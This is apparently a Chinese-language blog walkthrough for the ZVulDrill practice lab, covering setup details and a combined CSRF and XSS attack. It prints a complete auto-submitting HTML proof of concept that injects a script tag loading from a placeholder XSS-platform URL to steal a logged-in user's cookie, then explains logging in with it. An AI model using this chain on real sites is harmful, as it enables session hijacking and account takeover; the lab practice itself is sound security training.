csrf+xss组合拳获取cookie

关于ZVulDrill搭建的问题

目前github上的ZVulDrill有两个版本,分别是旧版和新版,新版需要对文件略作修改:将根目录下的名为js的文件夹移动到文件夹user目录下,方可正常使用。旧版无需更改。

ZVulDrill的搭建与其他靶场的搭建过程大体相同,但最后步骤稍有区别。

该靶场与pikachu类似,需要访问数据库,故需要修改数据库相关信息,路径为:\ZVulDrill\sys\config.php

该靶场的默认数据库名为ZVulDrill,在php代码中所用到的数据库亦为ZVulDrill,故需要新建一个名为ZVulDrill的数据库并导入相关设置方可使用,需导入的sql脚本路径为:\ZVulDrill\sys\zvuldrill.sql。在新版的phpstudy中新建数据库极为简单,如图:

 

 

请注意,数据库名称一定要与你的config.php文件中的$database的值同名。

另外,版本问题也相当重要。如果版本不对的话,可能会出现注册与登录的时候报错、无法注册新用户、无法正常回显等问题。

经过多次测试,笔者测试出可以使靶场正常运行的版本:php版本:5.4.45nts,数据库版本:MySql 5.0.96

千万请注意,一旦版本出错,后面的实验无法正常展开。当然,若是读者有兴趣,可以自行测试更多的php版本,在此不做赘述。

XSS与CSRF的联合利用

首先说明联合利用的思路:先构造一个攻击页面,该页面存放着获取cookie的代码,并且会自动重定向到用户的登录界面;将这个攻击页面伪装好之后发给被攻击用户,当用户在登录状态点击时,登录状态的cookie就会被攻击者获取,进而攻击者就可以利用用户的cookie登录,执行相应操作。

按照以上的思路,我们先构建一个用于攻击的页面,代码如下:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>测试CSRF+XSS漏洞Poc</title>
</head>

<body>
    <form action="http://127.0.0.1/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
        <input type="hidden" name="test" value="test01</a><script src=yourURL></script><a>"
            class=" form-control" id="inputEmail">
        <input type=" hidden" name="update" class=" btn btn-primary" value="更新"></input>
    </form>
    <script type="text/javascript">
        var formTag = document.getElementById("Poc");
        formTag.submit();
    </script>
</body>

</html>

这里使用了一个xss平台来获取cookie,具体体现在代码的第11行,可自由输入自己的xss平台链接。

正常情况下进行攻击的话,需要把这段代码的链接伪装起来,但是我们现在做的仅仅是一个验证性实验,无需这么麻烦,只需在浏览器中运行该代码即可。

然后,页面会自动跳转到修改界面。这时,我们就获取到了用户的cookie。

 

 

如图,referer与cookie两个参数是需要重点注意的,利用referer的值可以直接访问目标界面,而cookie则是模仿用户登录的关键。然后,可以利用这个cookie进行登录,攻击就完成了。

 
posted @ 2021-10-11 16:15  梦幻泡影离殇  阅读(453)  评论(0编辑  收藏  举报